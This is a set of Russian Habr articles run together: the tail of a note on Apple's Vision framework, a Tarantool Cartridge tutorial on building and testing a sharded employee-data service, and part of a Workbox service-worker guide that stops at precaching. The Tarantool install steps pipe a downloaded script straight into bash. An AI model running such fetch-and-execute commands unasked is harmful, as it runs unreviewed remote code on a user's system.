Представленная статья позволяет разработчикам IOS-приложений ознакомиться с фреймворком Vision, прежде всего с его функцией распознания текста. Тестовое приложение, полученное в результате работы с распознанием текста в Vision, является ключом к пониманию работы с такими возможностями фреймворка как распознание лиц, текста, штрих-кодов и др.
Cкриншоты полученного приложения для распознавания цифровых значений на различных изображениях представлены ниже:
Приложение распознающее блоки текста с помощью VisionДля ознакомления проект можно скачать из [репозитория](https://github.com/Romeoq/Vision-text.git). | https://habr.com/ru/post/542816/ | null | ru | null |
# Пишем распределенное хранилище за полчаса
Привет, меня зовут Игорь и я работаю в команде Tarantool. При разработке мне часто требуется быстрое прототипирование приложений с базой данных, например, для тестирования кода или для создания MVP. Конечно же хочется, чтобы такой прототип требовал минимальных усилий по доработке, если вдруг будет решено пустить его в работу.
Мне не нравится тратить время на настройку SQL базы данных, думать, как управлять шардированием данных, тратить много времени на изучение интерфейсов коннекторов. Хочется просто написать несколько строчек кода и запустить его, чтобы все работало из коробки. В быстрой разработке распределенных приложений мне помогает Cartridge — фреймворк для управления кластерными приложениями на основе NoSQL базы данных Tarantool.
Сегодня я хочу рассказать о том, как можно быстро написать приложение на Cartridge, покрыть его тестами и запустить. Статья будет интересна всем, кто устал тратить много времени на прототипирование приложений, а также людям, которые хотят попробовать новую NoSQL технологию.
Содержание
----------
В статье вы узнаете о том, что такое Cartridge и познакомитесь с принципами написания кластерной бизнес-логики в нем.
Мы напишем кластерное приложение для хранения данных о сотрудниках некоторой компании, нас ждет:
* Создание приложения из шаблона с cartridge-cli
* Описание своей бизнес-логики на Lua в кластерных ролях Cartridge
+ Хранилище данных
+ Пользовательское HTTP API
* Написание тестов
* Локальный запуск и настройка небольшого кластера
+ Загрузка конфигурации
+ Настройка фейловера
Cartridge
---------
Cartridge — это фреймворк для разработки кластерных приложений, он управляет несколькими инстансами NoSQL БД Tarantool и шардирует данные с помощью модуля vshard. Tarantool — это персистентая in-memory база данных, он очень быстрый за счет хранения данных в оперативной памяти, но при этом надежный — Tarantool сбрасывает все данные на жесткий диск и позволяет настроить репликацию, а Cartridge сам заботится о настройке узлов Tarantool и шардировании узлов кластера, так что все, что нужно разработчику — написать бизнес-логику приложений и произвести настройку фейловера.
### Преимущества Сartridge
* Шардирование и репликация из коробки
* Встроенный failover
* NoSQL язык кластерных запросов — CRUD
* Интеграционное тестирование всего кластера
* Управление кластером с помощью ansible
* Утилита для администрирования кластера
* Инструменты для мониторинга
Создаем первое приложение
-------------------------
Для этого нам понадобится [cartridge-cli](https://github.com/tarantool/cartridge-cli) — это утилита для работы с картриджными приложениями. Она позволяет создавать приложение из шаблона, управлять локально запущенным кластером и подключаться к инстансам тарантула.
### Установим Tarantool и cartridge-cli
Установка на Debian или Ubuntu:
```
curl -L https://tarantool.io/fJPRtan/release/2.8/installer.sh | bash
sudo apt install cartridge-cli
```
Установка на CentOS, Fedora или ALT Linux:
```
curl -L https://tarantool.io/fJPRtan/release/2.8/installer.sh | bash
sudo yum install cartridge-cli
```
Установка на MacOS:
```
brew install tarantool
brew install cartridge-cli
```
Создадим шаблонное приложение с именем myapp:
```
cartridge create --name myapp
cd myapp
tree .
```
Получим структуру проекта примерно такого содержания:
```
myapp
├── app
│ └── roles
│ └── custom.lua
├── test
├── init.lua
├── myapp-scm-1.rockspec
```
* `init.lua` — входная точка приложение на картридже, здесь прописывается конфигурация кластера и вызываются функции, которые должны будут выполнены на старте каждого узла приложения.
* в директории `app/roles/` хранятся "роли", в которых описывается бизнес-логика приложения.
* `myapp-scm-1.rockspec` — файл для указания зависимостей
На этом шаге вы уже получите готовое к работе hello world-приложение. Его можно запустить с помощью команд
```
cartridge build
cartridge start -d
cartridge replicasets setup --bootstrap-vshard
```
После этого по адресу `localhost:8081/hello` мы увидим hello-world.
Давайте теперь на основе шаблона напишем свое небольшое приложение — шардированное хранилище с HTTP API для наполнения и получения данных. Для этого нам потребуется понимание того, как пишется кластерная бизнес-логика в Cartridge.
Пишем бизнес-логику в Cartridge
-------------------------------
В основе каждого кластерного приложения лежат **роли** — Lua-модули, в которых описывается бизнес-логика приложения. Например, это могут быть модули, которые занимаются хранением данных, предоставляют HTTP API или кэширует данные из Oracle. Роль назначается на набор инстансов, объединенных репликацией (репликасет) и включается на каждом из них. У разных репликасетов может быть разный набор ролей.
В cartridge есть кластерная **конфигурация**, которая хранится на каждом из узлов кластера. Там описывается топология, а также туда можно добавить конфигурацию, которой будет пользоваться ваша роль. Такую конфигурацию можно изменять в рантайме и влиять на поведение роли.
Каждая роль имеет структуру следующего вида:
```
return {
role_name = 'your_role_name',
init = init,
validate_config = validate_config,
apply_config = apply_config,
stop = stop,
rpc_function = rpc_function,
dependencies = {
'another_role_name',
},
}
```
### Жизненный цикл роли
1. Инстанс запускается.
2. Роль с именем `role_name` ждет запуска всех зависимых ролей, указанных в `dependencies`.
3. Вызывается функция `validate_config`, которая проверяет валидность конфига роли.
4. Вызывается функция инициализации роли `init`, в которой производятся действия, которые должны запускаться один раз на старте роли.
5. Вызывается `apply_config`, которая применяет конфиг (если таковой имеется). `validate_config` и `apply_config` вызываются также при каждом изменении конфигурации роли.
6. Роль попадает в registry, откуда будет доступна для других ролей на этом же узле с помощью
`cartridge.service_get('your_role_name')`.
7. Объявленные в роли функции будут доступны для вызова с других узлов с помощью
`cartridge.rpc_call('your_role_name', 'rpc_function')`.
8. Перед выключением или перезапуском роли запускется функция `stop`, которая завершает работу роли, например, удаляют созданные ролью файберы.
Кластерные NoSQL-запросы
------------------------
В Cartridge есть несколько вариантов написания кластерных запросов:
* Вызовы функций через API vshard (это сложный способ, но зато очень гибкий):
`vshard.router.callrw(bucket_id, 'app.roles.myrole.my_rpc_func', {...})`
* [Tarantool CRUD](https://github.com/tarantool/crud)
+ Простые вызовы функций `crud.insert` / `get` / `replace` / ...
+ Ограниченная поддержка вычисления `bucket_id`
+ Роли должны иметь зависимость от `crud-router` / `crud-storage`
Схема приложения
----------------
Представим, что мы хотим кластер с одним роутером и с двумя группами стораджей по два инстанса. Такая топология характерна и для Redis Cluster, и для Mongodb кластера. Также в нашем кластере будет один инстанс — stateboard (в котором stateful-failover будет сохранять состояние текущих мастеров). Когда требуется повышенная надёжность, вместо stateboard лучше использовать кластер etcd.
Роутер будет распределять запросы по кластеру, а также управлять фейловером.
**Пишем свои роли**
-------------------
Нам потребуется написать две своих роли, одну для хранения данных, вторую для HTTP API.
В директории app/roles создаем два новых файла: **app/roles/storage.lua** и **app/roles/api.lua**
### **Хранилище данных**
Опишем роль для хранения данных. В функции `init` мы создадим таблицу и индексы для нее, а в зависимости добавим `crud-storage`.
Если вы привыкли к SQL, то Lua-код в init-функции будет эквивалентен следующему псевдо-SQL коду:
```
CREATE TABLE employee(
bucket_id unsigned,
employee_id string,
name string,
department string,
position string,
salary unsigned
);
CREATE UNIQUE INDEX primary ON employee(employee_id);
CREATE INDEX bucket_id ON employee(bucket_id);
```
Добавим следующий код в файл **app/roles/storage.lua** :
```
local function init(opts)
-- в opts хранится признак, вызывается функция на мастере или на реплике
-- мы создаем таблицы только на мастере, на реплике они появятся автоматически
if opts.is_master then
-- Создаем таблицу с сотрудниками
local employee = box.schema.space.create('employee', {if_not_exists = true})
-- задаем формат
employee:format({
{name = 'bucket_id', type = 'unsigned'},
{name = 'employee_id', type = 'string', comment = 'ID сотрудника'},
{name = 'name', type = 'string', comment = 'ФИО сотрудника'},
{name = 'department', type = 'string', comment = 'Отдел'},
{name = 'position', type = 'string', comment = 'Должность'},
{name = 'salary', type = 'unsigned', comment = 'Зарплата'}
})
-- Создаем первичный индекс
employee:create_index('primary', {parts = {{field = 'employee_id'}},
if_not_exists = true })
-- Индекс по bucket_id, он необходим для шардирования
employee:create_index('bucket_id', {parts = {{field = 'bucket_id'}},
unique = false,
if_not_exists = true })
end
return true
end
return {
init = init,
-- <<< не забываем про зависимость от crud-storage
dependencies = {'cartridge.roles.crud-storage'},
}
```
Остальные функции из API роли нам не понадобятся — у нашей роли нет конфигурации и она не выделяет ресурсы, которые нужно очищать после завершения работы.
### **HTTP API**
Нам понадобится вторая роль для наполнения таблиц данными и получения этих данных по запросу. Она будет обращаться к встроенному в Cartridge HTTP-серверу и иметь зависимость от `crud-router`.
Определим функцию для POST-запроса. В теле запроса будет приходить объект, который мы хотим записать в базу.
```
local function post_employee(request)
-- достаем объект из тела запроса
local employee = request:json()
-- записываем в БД
local _, err = crud.insert_object('employee', employee)
-- В случае ошибки пишем ее в лог и возвращаем 500
if err ~= nil then
log.error(err)
return {status = 500}
end
return {status = 200}
end
```
В GET-метод будет передаваться уровень зарплаты сотрудников и в качестве ответа мы будем возвращать JSON со списком сотрудников, которые имеют зарплату выше заданной.
```
SELECT employee_id, name, department, position, salary
FROM employee
WHERE salary >= @salary
```
```
local function get_employees_by_salary(request)
-- достаем query-параметр salary
local salary = tonumber(request:query_param('salary') or 0)
-- отбираем данные о сотрудниках
local employees, err = crud.select('employee', {{'>=', 'salary', salary}})
-- В случае ошибки пишем ее в лог и возвращаем 500
if err ~= nil then
log.error(err)
return { status = 500 }
end
-- в employees хранится список строк, удовлетворяющих условию и формат спейса
-- unflatten_rows нужна, чтобы преобразовать строку таблицы в таблицу вида ключ-значение
employees = crud.unflatten_rows(employees.rows, employees.metadata)
employees = fun.iter(employees):map(function(x)
return {
employee_id = x.employee_id,
name = x.name,
department = x.department,
position = x.position,
salary = x.salary,
}
end):totable()
return request:render({json = employees})
end
```
Теперь напишем `init`-функцию роли. Здесь мы обратимся к registry Cartridge для получения HTTP-сервера и используем его для назначения HTTP-эндпоинтов нашего приложения.
```
local function init()
-- получаем HTTP-сервер из registry Cartridge
local httpd = assert(cartridge.service_get('httpd'), "Failed to get httpd serivce")
-- прописываем роуты
httpd:route({method = 'GET', path = '/employees'}, get_employees_by_salary)
httpd:route({method = 'POST', path = '/employee'}, post_employee)
return true
end
```
Соберем все это вместе:
**app/roles/api.lua**
```
local cartridge = require('cartridge')
local crud = require('crud')
local log = require('log')
local fun = require('fun')
-- метод GET /employees будет возвращать список сотрудников с зарплатой больше заданной
local function get_employees_by_salary(request)
-- достаем query-параметр salary
local salary = tonumber(request:query_param('salary') or 0)
-- отбираем данные о сотрудниках
local employees, err = crud.select('employee', {{'>=', 'salary', salary}})
-- В случае ошибки пишем ее в лог и возвращаем 500
if err ~= nil then
log.error(err)
return { status = 500 }
end
-- в employees хранится список строк, удовлетворяющих условию и формат спейса
-- unflatten_rows нужна, чтобы преобразовать строку таблицы в таблицу вида ключ-значение
employees = crud.unflatten_rows(employees.rows, employees.metadata)
employees = fun.iter(employees):map(function(x)
return {
employee_id = x.employee_id,
name = x.name,
department = x.department,
position = x.position,
salary = x.salary,
}
end):totable()
return request:render({json = employees})
end
local function post_employee(request)
-- достаем объект из тела запроса
local employee = request:json()
-- записываем в БД
local _, err = crud.insert_object('employee', employee)
-- В случае ошибки пишем ее в лог и возвращаем 500
if err ~= nil then
log.error(err)
return {status = 500}
end
return {status = 200}
end
local function init()
-- получаем HTTP-сервер из registry Cartridge
local httpd = assert(cartridge.service_get('httpd'), "Failed to get httpd service")
-- прописываем роуты
httpd:route({method = 'GET', path = '/employees'}, get_employees_by_salary)
httpd:route({method = 'POST', path = '/employee'}, post_employee)
return true
end
return {
init = init,
-- добавляем зависимость от crud-router
dependencies = {'cartridge.roles.crud-router'},
}
```
### **init.lua**
Опишем файл **init.lua**, который будет являться входной точкой приложения на Cartridge. В init-файле картриджа необходимо вызвать функцию [cartridge.cfg()](https://www.tarantool.io/ru/doc/latest/book/cartridge/cartridge_api/modules/cartridge/#cartridge-cfg) для настройки инстанса кластера.
`cartridge.cfg(, )`
* — параметры кластера по умолчанию
+ список доступных ролей (нужно указать все роли, даже перманентные, иначе они не появятся в кластере)
+ параметры шардирования
+ конфигурация WebUI
+ и другое
* — параметры Tarantool по умолчанию (которые передаются в box.cfg{} инстанса)
```
#!/usr/bin/env tarantool
require('strict').on()
-- указываем путь для поиска модулей
if package.setsearchroot ~= nil then
package.setsearchroot()
end
-- конфигурируем Cartridge
local cartridge = require('cartridge')
local ok, err = cartridge.cfg({
roles = {
'cartridge.roles.vshard-storage',
'cartridge.roles.vshard-router',
'cartridge.roles.metrics',
-- <<< Добавляем crud-роли
'cartridge.roles.crud-storage',
'cartridge.roles.crud-router',
-- <<< Добавляем кастомные роли
'app.roles.storage',
'app.roles.api',
},
cluster_cookie = 'myapp-cluster-cookie',
})
assert(ok, tostring(err))
```
Последним шагом будет описание зависимостей нашего приложения в файле **myapp-scm-1.rockspec**.
```
package = 'myapp'
version = 'scm-1'
source = {
url = '/dev/null',
}
-- Добавляем зависимости
dependencies = {
'tarantool',
'lua >= 5.1',
'checks == 3.1.0-1',
'cartridge == 2.7.3-1',
'metrics == 0.11.0-1',
'crud == 0.8.0-1',
}
build = {
type = 'none';
}
```
Код приложения уже готов к запуску, но сначала мы напишем тесты и удостоверимся в его работоспособности.
**Пишем тесты**
---------------
Любое приложение нуждается в тестировании. Для unit-тестов хватит обычного luatest, но если вы хотите написать хороший интеграционный тест, вам поможет модуль cartridge.test-helpers. Он поставляется вместе с Cartridge и позволяет поднять в тестах кластер любого состава, который вам нужен.
```
local cartridge_helpers = require('cartridge.test-helpers')
-- создаем тестовый кластер
local cluster = cartridge_helpers.Cluster:new({
server_command = './init.lua', -- entrypoint тестового приложения
datadir = './tmp', -- директория для xlog, snap и других файлов
use_vshard = true, -- включение шардирования кластера
-- список репликасетов:
replicasets = {
{
alias = 'api',
uuid = cartridge_helpers.uuid('a'),
roles = {'app.roles.custom'}, -- список ролей, назначенных на репликасет
-- список инстансов в репликасете:
servers = {
{ instance_uuid = cartridge_helpers.uuid('a', 1), alias = 'api' },
...
},
},
...
}
})
```
Напишем вспомогательный модуль, который будем использовать в интеграционных тестах. В нем создается тестовый кластер из двух репликасетов, в каждом из которых будет по одному инстансу:
Код вспомогательного модуля:
**test/helper.lua**
```
local fio = require('fio')
local t = require('luatest')
local cartridge_helpers = require('cartridge.test-helpers')
local helper = {}
helper.root = fio.dirname(fio.abspath(package.search('init')))
helper.datadir = fio.pathjoin(helper.root, 'tmp', 'db_test')
helper.server_command = fio.pathjoin(helper.root, 'init.lua')
helper.cluster = cartridge_helpers.Cluster:new({
server_command = helper.server_command,
datadir = helper.datadir,
use_vshard = true,
replicasets = {
{
alias = 'api',
uuid = cartridge_helpers.uuid('a'),
roles = {'app.roles.api'},
servers = {
{ instance_uuid = cartridge_helpers.uuid('a', 1), alias = 'api' },
},
},
{
alias = 'storage',
uuid = cartridge_helpers.uuid('b'),
roles = {'app.roles.storage'},
servers = {
{ instance_uuid = cartridge_helpers.uuid('b', 1), alias = 'storage' },
},
},
}
})
function helper.truncate_space_on_cluster(cluster, space_name)
assert(cluster ~= nil)
for _, server in ipairs(cluster.servers) do
server.net_box:eval([[
local space_name = ...
local space = box.space[space_name]
if space ~= nil and not box.cfg.read_only then
space:truncate()
end
]], {space_name})
end
end
function helper.stop_cluster(cluster)
assert(cluster ~= nil)
cluster:stop()
fio.rmtree(cluster.datadir)
end
t.before_suite(function()
fio.rmtree(helper.datadir)
fio.mktree(helper.datadir)
box.cfg({work_dir = helper.datadir})
end)
return helper
```
Код интеграционного теста:
**test/integration/api\_test.lua**
```
local t = require('luatest')
local g = t.group('integration_api')
local helper = require('test.helper')
local cluster = helper.cluster
g.before_all = function()
g.cluster = helper.cluster
g.cluster:start()
end
g.after_all = function()
helper.stop_cluster(g.cluster)
end
g.before_each = function()
helper.truncate_space_on_cluster(g.cluster, 'employee')
end
g.test_get_employee = function()
local server = cluster.main_server
-- наполним хранилище данными через HTTP API:
local response = server:http_request('post', '/employee',
{json = {name = 'John Doe', department = 'Delivery', position = 'Developer',
salary = 10000, employee_id = 'john_doe'}})
t.assert_equals(response.status, 200)
response = server:http_request('post', '/employee',
{json = {name = 'Jane Doe', department = 'Delivery', position = 'Developer',
salary = 20000, employee_id = 'jane_doe'}})
t.assert_equals(response.status, 200)
-- Делаем GET запрос и проверяем правильность выдаваемых данных
response = server:http_request('get', '/employees?salary=15000.0')
t.assert_equals(response.status, 200)
t.assert_equals(response.json[1], {name = 'Jane Doe', department = 'Delivery', employee_id = 'jane_doe',
position = 'Developer', salary = 20000
})
end
```
**Запускаем тесты**
-------------------
### Если вы уже запускали приложение
Остановите его:
```
cartridge stop
```
Удалите папку с данными:
```
rm -rf tmp/
```
Соберем приложение и установим зависимости:
```
cartridge build
./deps.sh
```
Запустим линтер:
```
.rocks/bin/luacheck .
```
Запустим тесты с записью покрытия:
```
.rocks/bin/luatest --coverage
```
Сгенерируем отчеты по покрытию тестов и посмотрим на результат:
```
.rocks/bin/luacov .
grep -A999 '^Summary' tmp/luacov.report.out
```
**Локальный запуск**
--------------------
Для локального запуска приложений можно воспользоваться cartridge-cli, но сначала нужно добавить написанные нами роли в replicasets.yml:
```
router:
instances:
- router
roles:
- failover-coordinator
- app.roles.api
all_rw: false
s-1:
instances:
- s1-master
- s1-replica
roles:
- app.roles.storage
weight: 1
all_rw: false
vshard_group: default
s-2:
instances:
- s2-master
- s2-replica
roles:
- app.roles.storage
weight: 1
all_rw: false
vshard_group: default
```
С параметрами запускаемых инстансов можно ознакомиться в instances.yml.
Запускаем кластер локально:
```
cartridge build
cartridge start -d
cartridge replicasets setup --bootstrap-vshard
```
Теперь мы можем зайти в webui и загрузить конфигурацию ролей, а также настроить фейловер. Чтобы настроить stateful failover, необходимо:
* нажать на кнопку Failover
* выбрать stateful
* прописать адрес и пароль:
+ localhost:4401
+ passwd
Давайте посмотрим на его работу. Сейчас в репликасете `s-1` лидером является `s1-master`.
Остановим его:
```
cartridge stop s1-master
```
Лидер переключится на `s1-replica`:
Восстановим `s1-master`:
```
cartridge start -d s1-master
```
`s1-master` поднялся, но благодаря stateful-фейловеру лидером остается `s1-replica`:
Загрузим конфигурацию для роли `cartridge.roles.metrics`, для этого необходимо перейти на вкладку Code и создать файл metrics.yml следующего содержания:
```
export:
- path: '/metrics'
format: prometheus
- path: '/health'
format: health
```
После того, как мы нажмем на кнопку Apply, метрики будут доступны на каждом узле приложения по эндпоинту `localhost:8081/metrics` и появится health-check по адресу `localhost:8081/health`.
На этом базовая настройка небольшого приложения завершена: кластер готов к работе и теперь мы можем написать приложение, которое будет общаться с кластером с помощью HTTP API или через коннектор, а также можем расширять функциональность кластера.
**Заключение**
--------------
Многим разработчикам не нравится тратить время на настройку базы данных. Нам хочется, чтобы все обязанности по управлению кластером взял на себя какой-нибудь фреймворк, а нам приходилось только писать код. Для решения этой проблемы я использую Cartridge — фреймворк, который управляет кластером из нескольких инстансов Tarantool.
В статье я рассказал:
* как построить надежное кластерное приложение с помощью Cartridge и Tarantool,
* как написать код небольшого приложения для хранения информации о сотрудниках,
* как добавить тесты,
* как настроить кластер.
Hадеюсь, мой рассказ был полезен, и вы будете использовать Cartridge для создания приложений. Буду рад услышать обратную связь о том, получилось ли у вас легко и быстро написать приложение на Cartridge, а также вопросы по его использованию.
**Что дальше?**
---------------
* Познакомьтесь с документацией на [официальном сайте](https://www.tarantool.io/)
* Попробуйте Cartridge [в песочнице](https://try.tarantool.io/)
* Задайте вопросы сообществу в [Telegram-чате](https://t.me/tarantoolru)
* Узнайте больше про [Cartridge](https://habr.com/ru/company/mailru/blog/465503/)
* Посмотрите на возможности [cartridge-cli](https://habr.com/ru/company/mailru/blog/571936/)
* Приобщитесь к нашему опыту [деплоя](https://habr.com/ru/company/mailru/blog/543086/) и [эксплуатации](https://habr.com/ru/company/mailru/blog/548228/) приложений
* Погрузитесь в [мониторинг](https://habr.com/ru/company/mailru/blog/534826/) Tarantool
* Напишите нагрузочный тест на [Пандоре](https://habr.com/ru/post/517488/) или [k6](https://habr.com/ru/company/mailru/blog/563446/) | https://habr.com/ru/post/588046/ | null | ru | null |
# Идеальный инструмент для создания прогрессивных веб-приложений или Все, что вы хотели знать о Workbox. Часть 2
Что такое `Workbox`?
--------------------
[`Workbox`](https://developers.google.com/web/tools/workbox) (далее — `WB`) — это библиотека (точнее, набор библиотек), основной целью которой является "предоставление лучших практик и избавление от шаблонного кода при работе с сервис-воркерами" (далее — СВ).
Если вы впервые слышите о СВ, то перед изучением данного руководства настоятельно рекомендуется ознакомиться со следующими материалами:
* [Service Worker API — MDN](https://developer.mozilla.org/ru/docs/Web/API/Service_Worker_API)
* [Service Workers: an Introduction — Web Fundamentals](https://developers.google.com/web/fundamentals/primers/service-workers)
* [Визуализация работы сервис-воркеров — Хабр](https://habr.com/ru/post/491840/)
* [Рецепты по приготовлению офлайн-приложений — Хабр](https://habr.com/ru/post/517672/)
`WB` предоставляет следующие возможности:
* предварительное кэширование
* кэширование во время выполнения
* стратегии (кэширования)
* обработка (перехват сетевых) запросов
* фоновая синхронизация
* помощь в отладке
Это вторая часть руководства. Вот [ссылка](https://habr.com/ru/company/macloud/blog/563684/) на первую часть.
Модули, предоставляемые `WB`
----------------------------
Каждый модуль решает определенную задачу и может быть использован как совместно с другими модулями, так и самостоятельно.
* `workbox-background-sync`: фоновая синхронизация, позволяющая выполнять сетевые запросы в режиме офлайн
* [`workbox-broadcast-update`](https://developers.google.com/web/tools/workbox/modules/workbox-broadcast-update): отправка уведомлений об обновлении кэша (через [`Broadcast Channel API`](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API))
* `workbox-cacheable-response`: фильтрация кэшируемых запросов на основе статус-кодов или заголовков ответов
* [`workbox-core`](https://developers.google.com/web/tools/workbox/modules/workbox-core): изменение уровня логгирования и названий кэша. Содержит общий код, используемый другими модулями
* `workbox-expiration`: установка лимита записей в кэше и времени жизни сохраненных ресурсов
* [`workbox-google-analytics`](https://developers.google.com/web/tools/workbox/modules/workbox-google-analytics): фиксация действий пользователей на странице в режиме офлайн
* [`workbox-navigation-preload`](https://developers.google.com/web/tools/workbox/modules/workbox-navigation-preload): предварительная загрузка запросов, связанных с навигацией
* `workbox-precaching`: предварительное кэширование ресурсов и управление их обновлением
* [`workbox-range-request`](https://developers.google.com/web/tools/workbox/modules/workbox-range-requests): поддержка частичных ответов
* `workbox-recipes`: общие паттерны использования `WB`
* `workbox-routing`: обработка запросов с помощью встроенных стратегий кэширования или колбэков
* `workbox-strategies`: стратегии кэширования во время выполнения, как правило, используемые совместно с `workbox-routing`
* [`workbox-streams`](https://developers.google.com/web/tools/workbox/reference-docs/latest/module-workbox-streams): формирование ответа на основе нескольких источников потоковой передачи данных
* `workbox-window`: регистрация, управление обновлением и обработка событий жизненного цикла СВ
`workbox-background-sync`
-------------------------
Иногда запрос на отправку данных на сервер проваливается. Это может произойти из-за потери соединения или из-за "упавшего" сервера. В любом случае, было бы здорово иметь возможность автоматически повторять выполнение такого запроса.
Новый [`BackgroundSync API`](https://wicg.github.io/background-sync/spec/) — отличное решение для такой ситуации. Когда СВ обнаруживает провалившийся запрос, он может регистрировать возникновение события `sync`, отправляемого брузером при восстановлении соединения. Данное событие отправляется даже если пользователь вышел из приложения, что делает этот подход гораздо более эффективным, чем традиционные способы повторного выполнения провалившихся запросов.
Браузеры, поддерживающие `BackgroundSync API`, автоматически отправляют повторный запрос от вашего имени через интервал, определяемый браузером. В браузерах, которые не поддерживают указанную технологию, рассматриваемый модуль отправит повторный запрос при очередном запуске СВ.
### Базовое использование
Простейший способ использования фоновой синхронизации заключается в применении плагина, который автоматически помещает провалившиеся запросы в очередь и выполняет их повторную отправку при регистрации события `sync`:
```
import { BackgroundSyncPlugin } from 'workbox-background-sync'
import { registerRoute } from 'workbox-routing'
import { NetworkOnly } from 'workbox-strategies'
const bgSyncPlugin = new BackgroundSyncPlugin('myQueueName', {
maxRetentionTime: 24 * 60, // Попытка выполнения повторного запроса будет выполнена в течение 24 часов (в минутах)
})
registerRoute(
/\/api\/.*\/*.json/,
new NetworkOnly({
plugins: [bgSyncPlugin],
}),
'POST'
)
```
### Продвинутое использование
Рассматриваемый модуль предоставляет класс `Queue`, который, после инстанцирования, может использоваться для хранения провалившихся запросов. Такие запросы записываются в [`IndexedDB`](https://developer.mozilla.org/ru/docs/Web/API/IndexedDB_API) и извлекаются из нее при восстановлении соединения.
**Создание очереди**
```
import { Queue } from 'workbox-background-sync'
const queue = new Queue('myQueueName') // название очереди должно быть уникальным
```
Название очереди используется как часть названия "тега", который получает [`register()`](https://wicg.github.io/background-sync/spec/#dom-syncmanager-register) глобального [`SyncManager`](https://wicg.github.io/background-sync/spec/#sync-manager-interface). Оно также используется как название ["объектного хранилища"](https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore) `IndexedDB`.
**Добавление запроса в очередь**
```
import { Queue } from 'workbox-background-sync'
const queue = new Queue('myQueueName')
self.addEventListener('fetch', (event) => {
// Клонируем запрос для безопасного чтения
// при добавлении в очередь
const promiseChain = fetch(event.request.clone()).catch((err) => {
return queue.pushRequest({ request: event.request })
})
event.waitUntil(promiseChain)
})
```
После добавления в очередь, запрос будет автоматически выполнен повторно при получении СВ события `sync` (или при следующем запуске СВ в браузерах, которые не поддерживают фоновую синхронизацию).
`workbox-cacheable-response`
----------------------------
При кэшировании ресурсов во время выполнения не существует общего правила для определения валидности таких ресурсов, т.е. того, подлежат ли эти ресурсы сохранению с целью повторного использования.
Рассматриваемый модуль позволяет определять пригодность ответа для кэширования на основе статус-кода или присутствия заголовка с определенным значением.
### Кэширование на основе статус-кода
```
import { registerRoute } from 'workbox-routing'
import { CacheFirst } from 'workbox-strategies'
import { CacheableResponsePlugin } from 'workbox-cacheable-response'
registerRoute(
({ url }) =>
url.origin === 'https://example.com' && url.pathname.startsWith('/images/'),
new CacheFirst({
cacheName: 'image-cache',
plugins: [
new CacheableResponsePlugin({
statuses: [0, 200]
})
]
})
)
```
Данная настройка указывает `WB` кэшировать любые ответы со статусом `0` или `200` при обработке запросов к `https://example.com`.
### Кэширование на основе заголовка
```
import { registerRoute } from 'workbox-routing'
import { StaleWhileRevalidate } from 'workbox-strategies'
import { CacheableResponsePlugin } from 'workbox-cacheable-response'
registerRoute(
({ url }) => url.pathname.startsWith('/path/to/api/'),
new StaleWhileRevalidate({
cacheName: 'api-cache',
plugins: [
new CacheableResponsePlugin({
headers: {
'X-Is-Cacheable': 'true'
}
})
]
})
)
```
При обработке ответов на запросы к `URL`, начинающемуся с `/path/to/api/`, проверяется, присутствует ли в ответе заголовок `X-Is-Cacheable` (который добавляется сервером). Если заголовок присутствует и имеет значение `true`, такой ответ кэшируется.
При определении нескольких заголовков, для кэширования ответа достаточно совпадения с одним из них.
Разумеется, указанные техники определения пригодности ответов для кэширования можно комбинировать:
```
import { registerRoute } from 'workbox-routing'
import { StaleWhileRevalidate } from 'workbox-strategies'
import { CacheableResponsePlugin } from 'workbox-cacheable-response'
registerRoute(
({ url }) => url.pathname.startsWith('/path/to/api/'),
new StaleWhileRevalidate({
cacheName: 'api-cache',
plugins: [
new CacheableResponsePlugin({
statuses: [200, 404],
headers: {
'X-Is-Cacheable': 'true'
}
})
]
})
)
```
При использовании встроенной стратегии без явного определения `cacheableResponse.CacheableResponsePlugin`, для проверки валидности ответа используются следющие критерии:
* `staleWhileRevalidate` и `networkFirst`: ответы со статусом `0` (непрозрачные ответы) и `200` считаются валидными
* `cacheFirst`: только ответы со статусом `200` считаются валидными
По умолчанию заголовки ответа для определения его валидности не используются.
### Продвинутое использование
Для определения логики кэширования за пределами стратегии можно использовать класс `CacheableResponse`:
```
import { CacheableResponse } from 'workbox-cacheable-response'
const cacheable = new CacheableResponse({
statuses: [0, 200],
headers: {
'X-Is-Cacheable': 'true'
}
})
const response = await fetch('/path/to/api')
if (cacheable.isResponseCacheable(response)) {
const cache = await caches.open('api-cache')
cache.put(response.url, response)
} else {
// Ответ не может быть кэширован
}
```
`workbox-expiration`
--------------------
Данный плагин позволяет ограничивать количество ресурсов, сохраняемых в кэше, а также время их хранения.
### Ограничение количества записей в кэше
```
import { registerRoute } from 'workbox-routing'
import { CacheFirst } from 'workbox-strategies'
import { ExpirationPlugin } from 'workbox-expiration'
registerRoute(
({ request }) => request.destination === 'image',
new CacheFirst({
cacheName: 'image-cache',
plugins: [
new ExpirationPlugin({
// ограничиваем количество записей в кэше
maxEntries: 20
})
]
})
)
```
При достижении лимита удаляются самые старые записи.
### Ограничение времени хранения ресурсов в кэше
```
import { registerRoute } from 'workbox-routing'
import { CacheFirst } from 'workbox-strategies'
import { ExpirationPlugin } from 'workbox-expiration'
registerRoute(
({ request }) => request.destination === 'image',
new CacheFirst({
cacheName: 'image-cache',
plugins: [
new ExpirationPlugin({
// ограничиваем время хранения ресурсов в кэше
maxAgeSeconds: 24 * 60 * 60
})
]
})
)
```
Проверка записей на соответствие этому критерию и, при необходимости, их удаление осуществляется после каждого запроса или обновления кэша.
### Продвинутое использование
Класс `CacheExpiration` позволяет отделять логику ограничения от других модулей. Для установки ограничений создается экземпляр названного класса:
```
import { CacheExpiration } from 'workbox-expiration'
const cacheName = 'my-cache'
const expirationManager = new CacheExpiration(cacheName, {
maxAgeSeconds: 24 * 60 * 60,
maxEntries: 20
})
```
Затем, при обновлении записи в кэше, вызывается метод `updateTimestamp()` для обновления "возраста" записи.
```
await openCache.put(request, response)
await expirationManager.updateTimestamp(request.url)
```
Для проверки всех записей в кэше на предмет их соответствия установленным критериям вызывается метод `expireEntries()`:
```
await expirationManager.expireEntries()
```
`workbox-precaching`
--------------------
СВ позволяет записывать файлы в кэш во время установки. Это называется предварительным кэшированием, поскольку контент кэшируется перед использованием СВ.
Предварительное кэширование позволяет приложению работать в режиме офлайн без выполнения сетевых запросов на получение ресурсов, используемых приложением.
`WB` предоставляет простой и понятный `API` для реализации этого паттерна и эффективной загрузки ресурсов.
